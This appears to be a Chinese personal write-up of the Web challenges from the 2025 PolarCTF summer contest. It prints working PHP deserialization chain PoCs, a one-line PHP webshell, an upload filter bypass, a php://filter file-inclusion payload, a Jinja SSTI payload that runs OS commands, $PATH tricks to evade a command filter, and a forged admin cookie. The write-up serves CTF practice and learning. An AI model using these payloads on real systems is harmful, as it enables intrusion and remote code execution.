2025PolarCTF夏季挑战赛个人WP-Web部分复现

发布于:2025-06-26 ⋅ 阅读:(21) ⋅ 点赞:(0)

2025PolarCTF夏季挑战赛个人WP-Web部分复现

简单的链子

源码如下:

<?php
class A {
    public $cmd;
    function __destruct() {
        if (isset($this->cmd)) {
            system($this->cmd);
        }
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    @unserialize($data);
} else {
    highlight_file(__FILE__);
} 

简单的反序列化,destruct作为入口,参数cmd构造命令执行

<?php
class A{
    public $cmd = "ls";
}

$data = new A();
echo serialize($data);
?>

image-20250623144652878

渗透之王

扫描目录,发现源码泄露(www.zip),和新的路由(admin.php拿到提示—>polarctf)

在新的路由中发现hint:非法的文件包含请求

http://c143e0cf-59ad-4315-a2a8-b5476ac450cf.www.polarctf.com:8090/polarctf/?page=hint.php

源码被加密,尝试使用密码:polarctf,成功解压

拿到密码字典:

image-20250623145441922

字典爆破:

image-20250623145724810

结果登录上还是跳转到了我一开始拿到的路由…………

尝试文件包含读取hint.php源码

http://c143e0cf-59ad-4315-a2a8-b5476ac450cf.www.polarctf.com:8090/polarctf/?page=php://filter/convert.base64-encode/resource=hint.php

image-20250623150933974

发现有upload路由,简单的一句话木马,content-type绕过

image-20250623151412790

image-20250623151638443

命运石之门

登录页面,密码错误和验证码错误回显不一样

目录扫描

http://ca7f77f6-78a6-41e1-a2f2-85e4b6427d62.www.polarctf.com:8090/password.txt

找到字典,密码爆破

image-20250623152303397

找到密码:hunangleiSAMA0712

另外源码中有注释:

5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB

image-20250623152653492

使用万能验证码0000登录

继续密码爆破

image-20250623153015883

image-20250623153456508

第二步密码:huan9le1Sam0

image-20250623153604288

rce命令执行系统

简单的rce,有过滤

尝试双单引号绕过

image-20250623154003013

但是这里过滤了’.’ 无法读取到文件

尝试访问路由f1ag.php

既然你找到这里了那就告诉你点东西吧 异或后它好像改名叫XOR_KEY,给他传个参试一试呢,对了,咱们的靶场叫什么来着?🤔 

XOR_KEY=Polar

尝试添加环境变量:

env XOR_KEY=Polar

image-20250623154751639

真假ECR

非预期,转义绕过,可以直接读取flag

image-20250625083920853

狗黑子的隐藏

删除hidden标签,发现可以命令执行,但是有waf

image-20250625084241350

有写文件的权限,可以写一句话木马连shell:

echo '<?php @eval($_POST[1]);?>' >>2.php

创建新文件会服务器异常,追加可以成功写入木马

狗黑子的变量

 <?php
error_reporting(0);
highlight_file(__FILE__);

$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');


$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
    die("heizi");
}

system($gou);
?>

过滤了取反异或,还有字符匹配,很难利用

扫目录发现admin.php路由

image-20250625092628385

发现字符过滤没有完全过滤字符,可以使用path拼接绕过:

查看$PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

ls  ->         ${PATH:5:1}${PATH:2:1}
提取出PATH的第6位和第2位

cat ../*  -> ${PATH:7:1}at ../

image-20250625093602377

ghost_render

Markdown渲染平台,上传md文件渲染,尝试SSTI漏洞

上传{{7*7}}

image-20250625094117149

可以利用

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls /var').read()")}}

image-20250625094343090

你也玩铲吗

注册账户后源码中有hint

image-20250625094633735

扫描目录

image-20250625100550100

发现管理员认证页面,尝试伪造cookie

user:admin
—>根据提示:base64
Cookie:auth=dXNlcjphZG1pbg==

image-20250625101516405

image-20250625101618246

nukaka_ser2

分析链子

 <?php

class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('/[^\w]/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }

    public function __invoke($data) {
        return self::check($data);
    }
}

class FakeDanger {
    private $buffer;
    
    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }

    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}

class VulnerableClass {
    public $logger;
    private $debugMode = false;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}


function sanitize_input($data) {
    $data = trim($data);
    return htmlspecialchars($data, ENT_QUOTES);
}

if(isset($_GET['data'])) {
    $raw = base64_decode($_GET['data']);
    if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
        unserialize($raw); 
    }
} else {
    highlight_file(__FILE__);
}
?> 

首先触发wakeup方法,之后触发destruct方法,这里private保护可以改为public,我们需要将debugmode改为true,触发

echo $this->logger;从而触发tostring方法,打印出flag

poc:

<?php

class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('/[^\w]/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }

    public function __invoke($data) {
        return self::check($data);
    }
}

class FakeDanger {
    private $buffer;

    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }

    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}

class VulnerableClass {
    public $logger;
    private $debugMode = true;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}


function sanitize_input($data) {
    $data = trim($data);
    return htmlspecialchars($data, ENT_QUOTES);
}


$a = new VulnerableClass();
$b = new FlagReader();
$a->logger = $b;
echo base64_encode(serialize($a));
?> 

easyRead

源码如下:

 <?php

Class Read{
    public $source;
    public $is;

    public function __toString() {
        return $this->is->run("Read");
    }

    public function __wakeup(){
            echo "Hello>>>".$this->source;
    }

}
class Help{
    public $source;
    public $str;
    public function Printf($what){
        echo "Hello>>>".$what;
        echo "<br>";
        return $this->str->source;
    }

    public function __call($name, $arguments){
        $this->Printf($name);
    }
}
class Polar {
    private  $var;
    public function getit($value){

        eval($value);
    }
    public function __invoke(){
        $this->getit($this->var);
    }
}

class Doit{
    public $is;
    private $source;
    public function __construct(){
        $this->is = array();
    }

    public function __get($key){
        $vul = $this->is;
        return $vul();
    }
}

if(isset($_GET['polar'])){
    @unserialize($_GET['polar']);
}
else{
    highlight_file(__FILE__);
}

分析链子:

wakeup->tostring->call->printf->get->invoke->getit

poc:

<?php

Class Read{
    public $source;
    public $is;

    public function __toString() {
        return $this->is->run("Read");
    }

    public function __wakeup(){
        echo "Hello>>>".$this->source;
    }

}
class Help{
    public $source= 'a';
    public $str;
    public function Printf($what){
        echo "Hello>>>".$what;
        echo "<br>";
        return $this->str->source;
    }

    public function __call($name, $arguments){
        $this->Printf($name);
    }
}
class Polar {
    private  $var = "system('env');";
    public function getit($value){

        eval($value);
    }
    public function __invoke(){
        $this->getit($this->var);
    }
}

class Doit{
    public $is;
    private $source;

    public function __get($key){
        $vul = $this->is;
        return $vul();
    }

}
$a = new Read();
$b = new Read();
$a->source = $b;
$c = new Help();
$b->is = $c;
$d = new Doit();
$c->str = $d;
$e = new Polar();
$d->is = $e;

echo serialize($a)


?>

但是我也没搞懂为啥flag就是这个:flag{Hello>>>Hello>>>run}


网站公告

今日签到

点亮在社区的每一天
去签到